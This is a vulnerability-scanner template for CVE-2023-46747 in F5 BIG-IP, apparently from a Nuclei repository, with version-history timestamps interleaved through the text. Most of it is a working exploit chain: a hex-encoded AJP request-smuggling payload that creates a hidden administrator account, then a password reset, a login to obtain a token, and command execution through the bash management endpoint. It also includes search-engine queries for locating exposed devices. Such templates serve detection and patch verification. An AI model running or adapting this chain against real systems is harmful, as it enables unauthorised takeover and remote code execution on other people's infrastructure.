2023-10-29 17:52:25 +00:00
id : CVE-2023-46747
info :
name : F5 BIG-IP - Unauthenticated RCE via AJP Smuggling
author : iamnoooob,rootxharsh,pdresearch
severity : critical
description : |
CVE-2023-46747 is a critical severity authentication bypass vulnerability in F5 BIG-IP that could allow an unauthenticated attacker to achieve remote code execution (RCE). The vulnerability impacts the BIG-IP Configuration utility, also known as the TMUI, wherein arbitrary requests can bypass authentication. The vulnerability received a CVSSv3 score of 9.8.
reference :
- https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/
- https://my.f5.com/manage/s/article/K000137353
2023-11-14 05:56:48 +00:00
- http://packetstormsecurity.com/files/175673/F5-BIG-IP-TMUI-AJP-Smuggling-Remote-Command-Execution.html
2023-11-16 10:31:49 +00:00
- https://www.secpod.com/blog/f5-issues-warning-big-ip-vulnerability-used-in-active-exploit-chain/
2024-03-23 09:28:19 +00:00
- https://github.com/f1tao/awesome-iot-security-resource
2023-10-29 17:52:25 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2023-46747
2024-03-23 09:28:19 +00:00
cwe-id : CWE-306,CWE-288
2024-05-31 19:23:20 +00:00
epss-score : 0.97116
epss-percentile : 0.9979
2023-11-08 06:56:05 +00:00
cpe : cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
2023-10-29 17:52:25 +00:00
metadata :
verified : true
2023-10-31 11:40:15 +00:00
max-request : 7
2023-11-08 06:56:05 +00:00
vendor : f5
product : big-ip_access_policy_manager
2024-06-07 10:04:29 +00:00
shodan-query :
- http.title:"BIG-IP®-+Redirect" +"Server"
- http.title:"big-ip®-+redirect" +"server"
2024-05-31 19:23:20 +00:00
fofa-query : title="big-ip®-+redirect" +"server"
google-query : intitle:"big-ip®-+redirect" +"server"
2024-01-14 09:21:50 +00:00
tags : cve2023,cve,packetstorm,rce,f5,bigip,unauth,ajp,smuggling,intrusive,kev
2023-10-29 17:52:25 +00:00
variables :
username : "{{hex_encode(rand_base(5))}}"
password : "{{hex_encode(rand_base(12))}}"
password2 : "{{rand_base(14)}}"
http :
- raw :
- |+
POST /tmui/login.jsp HTTP/1.1
Host : {{Hostname}}
Transfer-Encoding : chunked, chunked
Content-Type : application/x-www-form-urlencoded
204
{{ hex_decode(concat("0008485454502f312e310000122f746d75692f436f6e74726f6c2f666f726d0000093132372e302e302e310000096c6f63616c686f73740000096c6f63616c686f7374000050000003000b546d75692d44756262756600000b424242424242424242424200000a52454d4f5445524f4c450000013000a00b00096c6f63616c686f73740003000561646d696e000501715f74696d656e6f773d61265f74696d656e6f775f6265666f72653d2668616e646c65723d253266746d756925326673797374656d25326675736572253266637265617465262626666f726d5f706167653d253266746d756925326673797374656d253266757365722532666372656174652e6a737025336626666f726d5f706167655f6265666f72653d26686964654f626a4c6973743d265f62756676616c75653d65494c3452556e537758596f5055494f47634f4678326f30305863253364265f62756676616c75655f6265666f72653d2673797374656d757365722d68696464656e3d5b5b2241646d696e6973747261746f72222c225b416c6c5d225d5d2673797374656d757365722d68696464656e5f6265666f72653d266e616d653d",username,"266e616d655f6265666f72653d267061737377643d",password,"267061737377645f6265666f72653d2666696e69736865643d782666696e69736865645f6265666f72653d00ff00")) }}
0
unsafe : true
- raw :
- |+
PATCH /mgmt/tm/auth/user/{{hex_decode(username)}} HTTP/1.1
Host : {{Hostname}}
Authorization : Basic {{base64(hex_decode(username)+":"+hex_decode(password))}}
Content-Type : application/json
{"password": "{{password2}}" }
- |+
POST /mgmt/shared/authn/login HTTP/1.1
Host : {{Hostname}}
Content-Type : application/json
2023-10-31 08:22:20 +00:00
{"username" : "{{hex_decode(username)}}" , "password" : "{{pass}}" }
2023-10-29 17:52:25 +00:00
- |+
POST /mgmt/tm/util/bash HTTP/1.1
Host : {{Hostname}}
X-F5-Auth-Token : {{token}}
Content-Type : application/json
{"command" : "run" , "utilCmdArgs" : "-c id" }
2023-10-31 08:22:20 +00:00
payloads :
pass :
- '{{password2}}'
- '{{hex_decode(password)}}'
2023-10-31 10:21:48 +00:00
skip-variables-check : true
2023-10-31 08:22:20 +00:00
stop-at-first-match : true
2023-10-31 11:40:15 +00:00
2023-10-29 17:52:25 +00:00
extractors :
- type : regex
part : body_2
name : token
group : 1
regex :
- "([A-Z0-9]{26})"
internal : true
- type : regex
part : body_3
group : 1
regex :
- "\"commandResult\":\"(.*)\""
- type : dsl
dsl :
- '"Username:" + hex_decode(username)'
2023-10-31 08:22:20 +00:00
- '"Password:" + pass'
2023-10-29 17:52:25 +00:00
- '"Token:" + token'
matchers :
- type : word
words :
- "commandResult"
- "uid="
2023-10-29 17:56:03 +00:00
condition : and
2024-06-08 16:02:17 +00:00
# digest: 490a0046304402205694cf84f8014a16b1c92e95285d308240617c0fd9de7735b25f774e11dd629502206ec25efde8e95f07226eabdf1224798a2cf8e0381619bc127b2ff565e5599e5b:922c64590222798bb761d5b6d8e72950